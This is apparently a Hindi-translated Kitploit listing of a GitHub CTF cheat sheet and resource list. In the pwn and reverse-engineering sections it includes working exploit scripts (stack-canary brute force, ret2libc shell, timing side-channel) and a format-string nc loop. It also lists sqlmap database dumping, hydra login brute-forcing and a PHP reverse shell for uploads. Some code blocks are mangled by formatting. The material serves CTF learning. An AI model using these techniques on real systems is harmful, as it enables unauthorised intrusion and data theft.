Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CTFs — CTF Cheat Sheet + लिखित विवरण / कुछ सुरक्षा CTFs के लिए फ़ाइलें जो मैंने किए हैं | Kitploit
उपकरण/GitHubGitHub/adamkadaban/ctfs
OSINT (खुला स्रोत खुफिया)रिवर्स इंजीनियरिंगफोरेंसिकवेब सुरक्षास्टेग्नोग्राफीक्रिप्टोग्राफीCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाचयनित संसाधनबाइनरी शोषणलैब और अभ्यास
847679 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHubadamkadaban/ctfs

CTFs

CTF Cheat Sheet + लिखित विवरण / कुछ सुरक्षा CTFs के लिए फ़ाइलें जो मैंने किए हैं

रिपॉजिटरी देखेंवेबसाइट

CTFs

कुछ साइबर CTFs के लिए जिन्हें मैंने किया है, लेखन / फ़ाइलें

मैंने CTF संसाधनों की एक सूची के साथ-साथ एक व्यापक चीट शीट भी शामिल की है जो बहुत सारी सामान्य CTF चुनौतियों को कवर करती है

[!NOTE] अब इस रिपॉजिटरी का एक वेब मिरर hackback.zip पर उपलब्ध है

विषयसूची

  • संसाधन

    • YouTube चैनल
    • अभ्यास / सीखने की साइटें
      • CTFs
      • सामान्य
      • Pwn
      • Rev
      • वेब
      • क्रिप्टो
      • स्मार्ट कॉन्ट्रैक्ट
      • क्लाउड
      • पेंटेस्टिंग
  • CTF Cheat Sheet

    • फोरेंसिक्स / स्टेग्नोग्राफी
      • सामान्य
      • ऑडियो
      • चित्र
      • वीडियो
      • मशीन इमेज
      • Pcap
    • Pwn / बाइनरी शोषण
      • सामान्य
      • बफर ओवरफ्लो
      • PIE (Positional Independent Execution)
      • NX (नॉन-एक्ज़ीक्यूटेबल)
      • ROP (स्टैटिकली कम्पाइल्ड बाइनरी के लिए)
      • स्टैक कैनरी
      • फ़ॉर्मेट स्ट्रिंग कमज़ोरियाँ
      • शेलकोड
      • रिटर्न-टू-लिब्क
    • रिवर्स इंजीनियरिंग
      • SMT सॉल्वर
      • बाइट-दर-बाइट चेक को रिवर्स करना
      • gef के साथ स्ट्रिंग्स खोजना
    • वेब
      • इनपुट फ़ील्ड फ़ज़िंग
    • क्रिप्टो
      • CyberChef

      • सामान्य सिफ़र

      • RSA

        • pycryptodome के साथ RSA जानकारी प्राप्त करना
        • चीनी शेष प्रमेय (p,q,e,c)
        • कॉपरस्मिथ हमला (c,e)
        • पोलार्ड का हमला (n,e,c)
        • वीनर हमला (n,e,c)
      • Base16, 32, 36, 58, 64, 85, 91, 92

    • बॉक्स
      • कनेक्ट करना
      • एनुमरेशन
      • विशेषाधिकार वृद्धि
      • रिवर्स शेल सुनना
      • रिवर्स शेल
      • इंटरएक्टिव शेल प्राप्त करना
        • लिनक्स
        • विंडोज / सामान्य
    • OSINT
    • विविध

संसाधन

YouTube चैनल

  • John Hammond
    • पहले बहुत सारे CTF वीडियो बनाते थे, लेकिन अब दूसरी चीज़ों पर चले गए हैं
    • फिर भी कई उपयोगी वीडियो हैं। CTF वाले विशेष रूप से उन लोगों को पढ़ाने के लिए अद्भुत हैं जो साइबर में बिल्कुल नए हैं।
  • Live Overflow
    • साइबर के बारे में अत्यंत रोचक और गहन वीडियो बनाते हैं।
    • एक अद्भुत pwn श्रृंखला है।
  • IppSec
    • हर एक HackTheBox मशीन के लिए लेखन करते हैं
      • समाधान के अलग-अलग तरीकों के बारे में बात करते हैं और बताते हैं कि चीज़ें क्यों काम करती हैं। अत्यधिक अनुशंसित।
  • Computerphile
    • Numberphile जैसे ही लोग, लेकिन अधिक कूल। बुनियादी अवधारणाओं के बारे में वास्तव में शुरुआती-स्तर और सहज वीडियो बनाते हैं।
  • pwn.college
    • ASU के प्रोफेसर जिनके पास pwn पर ढेरों वीडियो हैं
    • निर्देशित पाठ्यक्रम सामग्री: https://pwn.college/
    • अभ्यास समस्याओं का ढेर: https://dojo.pwn.college/
  • PwnFunction
    • विभिन्न विषयों पर बहुत उच्च-गुणवत्ता और समझने में आसान एनिमेटेड वीडियो
    • विषय थोड़े उन्नत हैं, लेकिन आसानी से समझ में आते हैं
  • Martin Carlisle
    • picoCTF चुनौतियों के बारे में अद्भुत लेखन वीडियो बनाते हैं।
  • Sam Bowne
    • CCSF के प्रोफेसर जो अपने सभी व्याख्यान और पाठ्यक्रम सामग्री को अपनी वेबसाइट पर ओपन सोर्स करते हैं
  • UFSIT
    • UF Cyber टीम (थोड़ा पक्षपाती हूं, लेकिन निश्चित रूप से इसके लिए सबसे अच्छे YouTube चैनलों में से एक है)

बातचीत

यहाँ कुछ स्लाइड्स हैं जो मैंने तैयार की हैं: hackback.zip/presentations

अभ्यास / सीखने की साइटें

CTFs

  • PicoCTF
    • बहुत सारी अद्भुत अभ्यास चुनौतियाँ।
    • निश्चित रूप से शुरू करने के लिए सबसे अच्छा मानक
  • UCF
    • कुल मिलाकर अच्छा, लेकिन pwn अभ्यास के लिए बहुत अच्छा
    • मैं वर्तमान में यहाँ लेखन डालने पर काम कर रहा हूँ
  • hacker101
    • CTF, लेकिन पेंटेस्टिंग की ओर थोड़ा अधिक उन्मुख
  • CSAW
    • 90% समय डाउन रहता है और आमतौर पर कोई भी कनेक्शन काम नहीं करता
    • यदि यह ऊपर है, तो इसमें बहुत सारी अच्छी परिचयात्मक चुनौतियाँ हैं
  • CTF101
    • अब तक देखे गए CTF के सबसे अच्छे परिचयों में से एक (gj osiris)
    • बहुत संक्षिप्त और शुरुआती-अनुकूल

सामान्य

  • HackTheBox
    • OG बॉक्स साइट
      • बॉक्स गुणवत्ता सुनिश्चित करने के लिए क्यूरेटेड हैं
    • अब कुछ CTF-शैली की समस्याएँ हैं
    • सीखना शुरू करने के लिए अब पाठ्यक्रम हैं
  • TryHackMe
    • HackTheBox से थोड़ी आसान बॉक्स
    • चरण-दर-चरण चुनौतियाँ
    • अब विषयों के माध्यम से मार्गदर्शन करने के लिए "सीखने के पथ" हैं
  • CybersecLabs
    • बॉक्स का बेहतरीन संग्रह
    • कुछ CTF सामग्री है
  • VulnHub
    • कमजोर वर्चुअल मशीनें हैं जिन्हें आपको स्वयं तैनात करना होता है
    • बहुत विविधता है, लेकिन मेरी राय में अच्छे खोजना मुश्किल है

Pwn

  • pwnable.kr
    • कठिनाई की अच्छी श्रेणी वाली चुनौतियाँ
  • pwnable.tw
    • pwnable.kr से कठिन
    • एक बार चुनौती हल करने पर लेखन उपलब्ध होते हैं
  • pwnable.xyz
    • और अधिक pwn चुनौतियाँ
    • एक बार चुनौती हल करने पर लेखन उपलब्ध होते हैं
    • आप सभी चुनौतियाँ हल करने के बाद अपनी खुद की चुनौतियाँ अपलोड कर सकते हैं
  • pwn dojo
    • मेरी राय में pwn चुनौतियों का सबसे अच्छा संग्रह
    • यह कैसे करना है, यह सिखाने वाली स्लाइड्स के साथ समर्थित है और यदि आपको सहायता चाहिए तो एक डिस्कॉर्ड है
  • nightmare
    • C बाइनरी को pwning करने का सबसे अच्छा मानक
    • कुछ गलतियाँ/टाइपो हैं, लेकिन कुल मिलाकर अद्भुत
  • pwn notes
    • ऑनलाइन किसी अज्ञात व्यक्ति के नोट्स
    • बहुत सतही-स्तर, लेकिन हर चीज़ का अच्छा परिचय
  • Security Summer School
    • बुखारेस्ट विश्वविद्यालय का सुरक्षा पाठ्यक्रम
    • बहुत शुरुआती-अनुकूल स्पष्टीकरण
  • RPISEC MBE
    • RPI का आधुनिक बाइनरी शोषण पाठ्यक्रम
    • अभ्यास के लिए काफी प्रयोगशालाएँ/प्रोजेक्ट हैं और कुछ (थोड़े पुराने) व्याख्यान हैं
  • how2heap
    • ASU की CTF टीम द्वारा बनाई गई हीप शोषण श्रृंखला
    • यह दिखाने के लिए एक बहुत अच्छी डीबगर सुविधा शामिल है कि शोषण कैसे काम करते हैं
  • ROPEmporium
    • हर प्रमुख आर्किटेक्चर में रिटर्न-ओरिएंटेड-प्रोग्रामिंग सिखाने वाली चुनौतियों का सेट
    • बहुत उच्च गुणवत्ता। सबसे बुनियादी से लेकर सबसे उन्नत तकनीकों तक सिखाता है।
    • मैं वर्तमान में अपने स्वयं के लेखन यहाँ जोड़ रहा हूँ
  • Phoenix Exploit Education

Rev

  • challenges.re
    • बहुत सारी चुनौतियाँ 0_0
    • बहुत विविधता
  • reversing.kr
  • crackmes.one
    • बहुत सारी क्रैकमी (CTF) शैली की चुनौतियाँ
  • Malware Unicorn Workshops
    • रिवर्स इंजीनियरिंग और मैलवेयर विश्लेषण पर मुफ्त कार्यशालाएँ

वेब

  • websec.fr
    • कठिनाई की अच्छी श्रेणी के साथ बहुत सारी वेब चुनौतियाँ
  • webhacking.kr
    • बहुत सारी अच्छी वेब चुनौतियों का संग्रह है
  • Securing Web Applications
    • ओपन सोर्स CCSF पाठ्यक्रम
  • OWASP Juice Shop
    • बहुत अधिक पेंटेस्टिंग की ओर उन्मुख, लेकिन CTF में वेब की खोज के लिए उपयोगी
    • कुल मिलाकर 100 से अधिक कमज़ोरियाँ/चुनौतियाँ
  • PortSwigger
    • वेब हैकिंग को समझने के लिए सबसे अच्छा मानक
    • बहुत सारी अद्भुत चुनौतियाँ और स्पष्टीकरण
  • DVWA
    • बहुत अधिक पेंटेस्टिंग की ओर उन्मुख, लेकिन CTF में वेब की खोज के लिए उपयोगी
  • bWAPP
    • बहुत अधिक पेंटेस्टिंग की ओर उन्मुख, लेकिन CTF में वेब की खोज के लिए उपयोगी
  • CTF Challenge
    • Adam Langley द्वारा बनाई गई वेब चुनौतियों का संग्रह जो यथासंभव यथार्थवादी बनाई गई हैं।
    • बग बाउंटी अनुभव प्राप्त करने के लिए अच्छा

क्रिप्टो

  • CryptoHack
    • मैं वर्तमान में यहाँ लेखन डालने पर काम कर रहा हूँ
  • cryptopals
    • OG क्रिप्टो चुनौती साइट।
  • CryptoCTF
    • वार्षिक क्रिप्टोग्राफी CTF। पिछले वर्षों को 20{19,20,21,22,23,24}.cr.yp.toc.tf पर एक्सेस किया जा सकता है।

स्मार्ट कॉन्ट्रैक्ट

  • Capture the Ether

क्लाउड

  • CloudFoxable
    • cloudfox का उपयोग करके शोषण के लिए एक कमजोर वातावरण स्थापित करने में आपका मार्गदर्शन करता है
  • flaws.cloud
    • मुफ्त चुनौतियाँ जिनमें S3, EC2 और Lambda में रहस्य खोजना शामिल है

पेंटेस्टिंग

  • hacker101
  • hacksplaining
  • एक्सप्लॉइट डेवलपमेंट
    • ओपन सोर्स CCSF पाठ्यक्रम
  • सुरक्षा का परिचय
    • UC San Diego का पाठ्यक्रम Deian Stefan द्वारा पढ़ाया गया
    • बुनियादी pwn और क्रिप्टो को शामिल करता है
  • एक्टिव डायरेक्टरी Cheat Sheet
  • WADComs
    • विंडोज/AD वातावरण के लिए इंटरएक्टिव चीट शीट
  • LOLBAS
    • शोषण के लिए विंडोज "लिविंग ऑफ द लैंड" बाइनरी, स्क्रिप्ट और लाइब्रेरी के लिए इंटरएक्टिव चीट शीट
  • GTFOBins
    • लिनक्स "लिविंग ऑफ द लैंड" तकनीकों के लिए इंटरएक्टिव चीट शीट

CTF Cheat Sheet

फोरेंसिक्स / स्टेग्नोग्राफी

सामान्य

  • AperiSolve
    • उपकरण जो स्वचालित रूप से अन्य स्टेगो टूल्स चलाता है
  • John Hammond से विभिन्न प्रकार की चुनौतियों के लिए वास्तव में अच्छा संसाधन:
    • https://github.com/JohnHammond/ctf-katana
  • चुनौतियाँ बनाने और हल करने के लिए एक और बहुत अच्छी चीट शीट:
    • https://github.com/apsdehal/awesome-ctf/blob/master/README.md
  • file
    • file <file.xyz>
    • फ़ाइल के प्रकार का निर्धारण करता है
  • steghide
    • steghide extract -sf <file.xyz>
    • एम्बेडेड फ़ाइलें निकालता है
  • stegseek
    • stegseek <file> <password list>
    • वर्डलिस्ट का उपयोग करके एम्बेडेड फ़ाइलें निकालता है
    • बहुत तेज़
  • binwalk
    • binwalk -M --dd=".*" <file.xyz>
    • एम्बेडेड फ़ाइलें निकालता है
  • exiftool
    • exiftool <file.xyz>
    • मेटाडेटा पढ़ता है
  • strings
    • strings <file.xyz>
    • फ़ाइल में सभी प्रिंट करने योग्य वर्ण ढूँढता है
  • hexedit
    • hexedit <file.xyz>

ऑडियो

  • फ़ैक्स मशीन ऑडियो:

    • उदाहरण
    • डीकोडर
  • SSTV (स्लो-स्कैन टीवी) ऑडियो (चाँद सामग्री)

    • उदाहरण
    • डीकोडर
    • वैकल्पिक डीकोडर
    • ये qsstv सेटिंग्स का उपयोग करें:

    SSTV सेटिंग्स

  • स्पेक्ट्रोग्राम छवि

    • डीकोडर
  • पिच, गति, दिशा बदलें...

    • पिच, गति, ट्यून
    • रिवर्स
  • DTMF (डुअल टोन मल्टीपल फ़्रीक्वेंसी) फ़ोन कुंजियाँ

    • multimon-ng -a DTMF -t wav <file.wav>
      • ध्यान रखें कि ये मल्टीटैप अक्षर हो सकते हैं।
        • यह संख्याओं को टेक्स्ट में डीकोड कर सकता है
  • कैसेट टेप

    • उदाहरण
    • डीकोडर (wav से tap फ़ाइलें)
  • मोर्स कोड

    • डीकोडर

चित्र

  • stegsolve

    • बिट्स के माध्यम से स्विच करें
  • foremost

    • छवियाँ निकालने के लिए विशेष उपकरण
    • टूटी हुई छवियों को एक साथ जोड़ने के लिए इस्तेमाल किया जा सकता है (उदाहरण के लिए pcap में)
  • Depix

    • टेक्स्ट को अनपिक्सेलेट करें
  • जाँचें कि क्या कुछ फ़ोटोशॉप किया गया था (हाइलाइट्स देखें)

    • https://29a.ch/photo-forensics/#error-level-analysis
  • zsteg

    • LSB डीकोडर
  • jsteg

    • jpeg स्टेग्नोग्राफी सॉल्वर
  • pixrecovery

    • अब तक का सबसे प्रभावी png रिकवरी टूल मिला है (जब तक आपको वॉटरमार्क की परवाह नहीं है)
    • photopea भी बहुत अच्छा काम करता है
  • crc32fix

    • चेकसम के आधार पर png की ऊँचाई और चौड़ाई ठीक करें
  • PCRT

    • png हेडर और फुटर जानकारी ठीक करें
  • png-crc-fix

    • png चेकसम ठीक करें
  • pngcheck

    • पता करें कि png में त्रुटियाँ हैं या नहीं
    • pngcheck

वीडियो

मशीन इमेज

  • फ़ाइलें पुनर्प्राप्त करना
    • photorec <file.bin>
  • आप एक इमेज को वर्चुअल मशीन के रूप में माउंट कर सकते हैं
    • https://habr.com/en/post/444940/
  • .img फ़ाइल माउंट करें:
    • binwalk -M --dd=".*" <fileName>
    • आउटपुट पर file चलाएँ और Linux फ़ाइलसिस्टम फ़ाइल का चयन करें
    • losetup /dev/loop<freeLoopNumber> <fileSystemFile>

Pcap

  • tcpflow के साथ डेटा निकालें
    • tcpflow -r <file.pcap>
  • वायरशार्क के साथ डेटा निकालें
    • File → Export Objects → चयन करें

Pwn / बाइनरी शोषण

  • इसके लिए, मैं इसके बजाय मेरे LearnPwn रिपॉजिटरी को देखने का सुझाव देता हूँ, क्योंकि यह चीट शीट pwn के बारे में बहुत कुछ जानने से पहले बनाई गई थी
    • हालाँकि, मैंने यहाँ जो कुछ है उसमें कुछ नोट्स जोड़े हैं।

सामान्य

  • ELF की सुरक्षा जाँचें
    • checksec <binary>
    • rabin2 -I <binary>
  • PE की सुरक्षा जाँचें
    • binary-security-check
    • binary-security-check <bin>.exe
  • seccomp bpf जाँचें
    • seccomp-tools
    • seccomp-tools dump ./<binary>
  • प्रतीक देखें
    • readelf -s <binary>
  • स्ट्रिंग्स देखें
    • rabin2 -z <binary>
  • पता बाइट में पैक करें
    • लिटिल एंडियन (32 बिट के लिए)
      • python -c "import pwn; print(pwn.p32(<intAddr>))
    • बिग एंडियन (64 बिट के लिए)
      • python -c "import pwn; print(pwn.p64(<intAddr>))
    • pwntools आपके लिए सही एंडियननेस के साथ पतों को स्वचालित रूप से पैक करता है

बफर ओवरफ्लो

  • यदि आपको कभी /bin/sh शेल प्राप्त करने की आवश्यकता हो और आप सुनिश्चित हों कि यह काम करता है लेकिन प्रोग्राम फिर भी बाहर निकलता है, तो इस ट्रिक का उपयोग करें:
    • ( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>
    • pwntools अपने process.interactive() के साथ ऐसा करता है

PIE (Positional Independent Execution)

  • यादृच्छिक मान निर्धारित करें
    • पेलोड उत्पन्न करने के लिए pwn cyclic <numChars>
    • यह देखने के लिए dmesg | tail | grep segfault कि त्रुटि कहाँ थी
    • इंस्ट्रक्शन पॉइंटर को नियंत्रित करने के लिए यादृच्छिक ऑफ़सेट देखने के लिए pwn cyclic -l 0x<errorLocation>
    • उदाहरण

NX (नॉन-एक्ज़ीक्यूटेबल)

  • हम इसे हल करने के लिए ROP (रिटर्न ओरिएंटेड प्रोग्रामिंग) का उपयोग कर सकते हैं

ROP (स्टैटिकली कम्पाइल्ड बाइनरी के लिए)

  • ROPGadget
    • गैजेट्स देखें और स्वचालित रूप से रोपचेन उत्पन्न करें
    • ROPgadget --ropchain --binary <binary>
      • फिर आप कोड की शुरुआत में पैडिंग जोड़ सकते हैं (आपके बफर और रिटर्न एड्रेस के बीच के अंतर के आधार पर) और शेल प्राप्त करने के लिए कोड चला सकते हैं
      • डेमो
  • ropr

स्टैक कैनरीडिबगर में स्टैक कैनरी ढूँढना

  • स्टैक कैनरी एक मान है जो EIP/RIP (निर्देश पॉइंटर) से पहले रखा जाता है जिसे बफ़र ओवरफ़्लो द्वारा अधिलेखित किया जा सकता है। यदि स्टैक को मूल से भिन्न किसी चीज़ पर अधिलेखित किया जाता है तो प्रोग्राम मूलतः एक त्रुटि उत्पन्न करता है। हमारा लक्ष्य मूल स्टैक ढूँढना है ताकि जब हम ओवरफ़्लो करें, प्रोग्राम सामान्य रूप से चले।
  • स्टैक कैनरी को gs, या fs (क्रमशः 32 और 64 बिट के लिए) से लिया जाता है।
    • डिसअसेंबली में, कुछ पढ़े जाने से पहले, आप निम्नलिखित के समान एक पंक्ति देख सकते हैं:``` 0x000000000000121a <+4>: sub rsp,0x30 0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28 0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax 0x000000000000122b <+21>:xor eax,eax
root@kitploit:~
यहाँ, स्टैक कैनरी को ऑफ़सेट +8 पर `rax` में स्थानांतरित किया जाता है।
- इस प्रकार, अगले ऑफ़सेट पर ब्रेक लगाएँ और देखें कि rax में क्या है (`i r rax`) ताकि वर्तमान कैनरी का पता चल सके।

**स्थैतिक कैनरीज़**
- एक कैनरी केवल स्थैतिक होती है यदि इसे प्रोग्रामर द्वारा मैन्युअल रूप से लागू किया गया हो (जैसा कि कुछ इंट्रो pwn चुनौतियों में होता है), या यदि आप प्रोग्राम को फ़ॉर्क कर सकते हैं।
    - जब आप बाइनरी को फ़ॉर्क करते हैं, तो फ़ॉर्क की गई कॉपी में समान कैनरी होती है, इसलिए आप उस पर बाइट-दर-बाइट ब्रूटफ़ोर्स कर सकते हैं।

**अतिरिक्त**
- जब स्टैक कैनरी को अनुचित रूप से ओवरराइट किया जाता है, तो यह `__stack_chk_fail` को कॉल करेगा।
    - यदि हम कैनरी को लीक नहीं कर सकते, तो हम इसे कॉल होने से रोकने के लिए GOT तालिका को संशोधित भी कर सकते हैं।
- कैनरी वर्तमान स्टैक की `TLS` संरचना में संग्रहीत होती है और `security_init` द्वारा आरंभ की जाती है।
    - यदि आप वास्तविक कैनरी मान को ओवरराइट कर सकते हैं, तो आप इसे अपने ओवरफ़्लो के लिए निर्धारित किसी भी मान के बराबर सेट कर सकते हैं।

- स्थैतिक 4 बाइट कैनरी को ब्रूटफ़ोर्स करने के लिए सरल स्क्रिप्ट:```python
#!/bin/python3
from pwn import *

#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')

# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"

canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
    for letter in range(0,len(alphabet)):  # We will go through each letter/number in the string 'alphabet'
        p = elf.process()  # We start the process
        wait = p.recv().decode('utf-8')
        p.sendline(str(32+i))  # In this program, we had to specify how many bytes we were gonna send.
        wait = p.recv().decode('utf-8')
        p.sendline('A'*32 + canary + alphabet[letter])  # We send the 32 A's to overflow, and then the canary we already have + our guess
        prompt = p.recv().decode('utf-8')
        if "Stack" not in prompt:  # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
            canary += alphabet[letter]  # If it doesn't print that, we got part of our canary :)
            break  # Move on to the next canary letter/number

print("The canary is: " + canary)

फ़ॉर्मेट स्ट्रिंग भेद्यताएँ

  • देखें तालिका 2 में क्या प्रयास करना है यदि आप "printf(buf)" या ऐसा कुछ देखते हैं:
    • https://owasp.org/www-community/attacks/Format_string_attack
  • अत्यधिक अनुशंसा करते हैं कि John Hammond द्वारा picoCTF 2018 से 'echooo' चैलेंज करते देखें
  • कभी-कभी, स्टैक से केवल स्ट्रिंग प्रिंट करने का प्रयास इस प्रकार: '%s %s %s %s %s %s' त्रुटियाँ उत्पन्न कर सकता है क्योंकि स्टैक में सब कुछ स्ट्रिंग नहीं होता है।
  • इसके बजाय '%x %x %x %x %x %s' करके इसे कम करने का प्रयास करें
  • लगातार %x और %s की संख्या बढ़ाने के बजाय, आप इसे आसान बनाने के लिए एक पैरामीटर पास कर सकते हैं:
    • %1$s - यह स्टैक में पहले मान को (जहाँ तक मैं समझता हूँ, आपके बफर के ठीक बगल वाला) एक स्ट्रिंग के रूप में प्रिंट करेगा।
    • %2$s - यह दूसरे मान को एक स्ट्रिंग के रूप में प्रिंट करेगा, और आप समझ गए होंगे
    • आप स्टैक को लीक करके फ्लैग खोजने के लिए एक-लाइनर लूप का उपयोग कर सकते हैं। अगले मान पर जाने के लिए ^C (CTRL + C) दबाएँ।
      • for i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
  • आप विभिन्न आकार पैरामीटर का उपयोग करके कितना लीक करते हैं इसे नियंत्रित कर सकते हैं:
    • %hhx 1 बाइट लीक करता है (int आकार का आधा का आधा)
    • %hx 2 बाइट लीक करता है (int आकार का आधा)
    • %x 4 बाइट लीक करता है (int आकार)
    • %lx 8 बाइट लीक करता है (long आकार)

शेलकोड

  • विभिन्न शेलकोड खोजने के लिए अच्छी वेबसाइट:
    • http://shell-storm.org/shellcode/

रिटर्न-टू-लिबसी

  • हम EIP को ओवरराइट करेंगे ताकि system() लाइब्रेरी फ़ंक्शन को कॉल किया जा सके और हम यह भी पास करेंगे कि इसे क्या निष्पादित करना चाहिए, इस उदाहरण में "/bin/sh" वाला एक बफर

  • अच्छी व्याख्या:

    • https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM
  • अच्छा उदाहरण (3:22:44 पर जाएँ):

    • https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org
    • https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg
  • execve("/bin/sh") का पता प्राप्त करें

    • one_gadget <libc file>
  • यदि आप पहले से libc फ़ाइल और एक स्थान जानते हैं (अर्थात् उन्हें लीक करने की आवश्यकता नहीं है...)```python #!/bin/python3

from pwn import * import os

binaryName = 'ret2libc1'

get the address of libc file with ldd

libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]

use one_gadget to see where execve is in that libc file

one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]

pick one of the suitable addresses

libc_execve_address = one_gadget_libc_execve_out[1]

p = process(f'./{binaryName}') e = ELF(f'./{binaryName}') l = ELF(libc_loc)

get the address of printf from the binary output

printf_loc = int(p.recvuntil('\n').rstrip(), 16)

get the address of printf from libc

printf_libc = l.sym['printf']

calculate the base address of libc

libc_base_address = printf_loc - printf_libc

generate payload

0x17 is from gdb analysis of offset from input to return address

offset = 0x17

payload = b"A"*offset payload += p64(libc_base_address + libc_execve_address)

send the payload

p.sendline(payload)

enter in interactive so we can use the shell created from our execve payload

p.interactive()

root@kitploit:~
## रिवर्स इंजीनियरिंग

> शानदार गाइड: [https://opensource.com/article/20/4/linux-binary-analysis](https://opensource.com/article/20/4/linux-binary-analysis)
 
- [Ghidra](https://ghidra-sre.org/)
    - बहुत उपयोगी डीकंपाइलर
- dotPeek या dnSpy
    - .NET निष्पादन योग्य को डीकंपाइल करें
- [jadx](https://github.com/skylot/jadx) और jadx-gui
    - APK को डीकंपाइल करें
- [devtoolzone](https://devtoolzone.com/decompiler/java)
    - जावा को ऑनलाइन डीकंपाइल करें
- [Quiltflower](https://github.com/QuiltMC/quiltflower/)
    - उन्नत टर्मिनल-आधारित जावा डीकंपाइलर
- apktool
    - APK डीकंपाइल करें
    - `apktool d *.apk`
- [gdb](https://www.gnu.org/software/gdb/)
    - बाइनरी विश्लेषण
    - [peda](https://github.com/longld/peda) (बढ़ी हुई कार्यक्षमता के लिए एक्सटेंशन)
    - [gef](https://github.com/hugsy/gef) (प्‍वनर्स के लिए gdb एक्सटेंशन)
- [radare2](https://github.com/radareorg/radare2)
    - बाइनरी विश्लेषण
- [FLOSS](https://github.com/mandiant/flare-floss)
    - स्टेरॉइड पर `strings`। स्ट्रिंग्स को खोजने और गणना करने के लिए स्थैतिक विश्लेषण का उपयोग करता है

#### SMT सॉल्वर
- [angr](https://github.com/angr/angr) (पायथन)
    - [दस्तावेज़](https://docs.angr.io/core-concepts/toplevel)
    - [ट्यूटोरियल](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
- [z3](https://github.com/Z3Prover/z3)
    - [ट्यूटोरियल](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)

#### बाइट-दर-बाइट जांच को रिवर्स करना (साइड-चैनल हमला)

[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)

- यहाँ एक संस्करण है जो मैंने एक चुनौती के लिए बनाया था जो समय-आधारित हमले का उपयोग करता है:
    - आपको इसे यादृच्छिकता को ध्यान में रखने के लिए कुछ बार चलाना पड़ सकता है```python
#!/bin/python3

from pwn import *
import string

keyLen = 8
binaryName = 'binary'

context.log_level = 'error'

s = ''
print("*"*keyLen)
for chars in range(keyLen):
    a = []
    for i in string.printable:
        p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
        p.readline()
        currPass = s + i + '0'*(keyLen - chars - 1)
        # print(currPass)
        p.sendline(currPass.encode())
        p.readline()
        p.readline()
        p.readline()
        info = p.readall().split(b',')[0]
        p.close()
        try:
            a.append((float(info), i))
        except:
            pass
        # print(float(info), i)
    a.sort(key = lambda x: x[0])
    s += str(a[-1][1])
    print(s + "*"*(keyLen - len(s)))
    # print(sorted(a, key = lambda x: x[0]))

p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()

gef के साथ स्ट्रिंग्स खोजना

  • यदि आपका फ़्लैग किसी वेरिएबल या रजिस्टर में किसी बिंदु पर पढ़ा जा रहा है, तो आप उसे स्थानांतरित होने के बाद ब्रेक कर सकते हैं और grep <string> चला सकते हैं और gef स्वचालित रूप से आपको वह स्ट्रिंग दिखाएगा जो आपके खोज पैटर्न से मेल खाती है

वेब

  • Nikto (यदि अनुमति हो)
    • स्वचालित रूप से कमज़ोरियाँ ढूंढता है
  • gobuster (यदि अनुमति हो)
    • निर्देशिकाओं और फ़ाइलों पर ब्रूट फोर्स करता है
  • hydra (यदि अनुमति हो)
    • विभिन्न सेवाओं के लॉगिन पर ब्रूट फोर्स करता है
  • BurpSuite
    • वेब अनुरोधों को इंटरसेप्ट करता है और आपको उन्हें संशोधित करने की अनुमति देता है
  • Wireshark
    • लाइव नेटवर्क ट्रैफ़िक और pcap फ़ाइलों का विश्लेषण करें
  • php reverse shell
    • उन वेबसाइटों के लिए उपयोगी जो आपको फ़ाइलें अपलोड करने की अनुमति देती हैं
    • इस फ़ाइल को काम करने के लिए सर्वर पर निष्पादित करना आवश्यक है
  • WPScan
    • WordPress वेबसाइटों को स्कैन करें
    • सर्वोत्तम परिणामों के लिए API कुंजी के साथ wpscan --url <site> --plugins-detection mixed -e का उपयोग करें
  • jwt
    • आप JWT टोकन की पहचान कर सकते हैं क्योंकि base64-एनकोडेड JSON (और इस प्रकार jwt टोकन) "ey" से शुरू होता है
    • यह साइट JSON वेब टोकन को डिकोड करेगी
    • आप अपने स्वयं के टोकन को संशोधित और साइन करने के लिए JSON वेब टोकन के सीक्रेट को क्रैक कर सकते हैं
      • echo <token> > jwt.txt
      • john jwt.txt
  • SQL इंजेक्शन
    • sqlmap
      • sqlmap --forms --dump-all -u <url>

इनपुट फ़ील्ड्स का फ़ज़िंग

  • FFUF
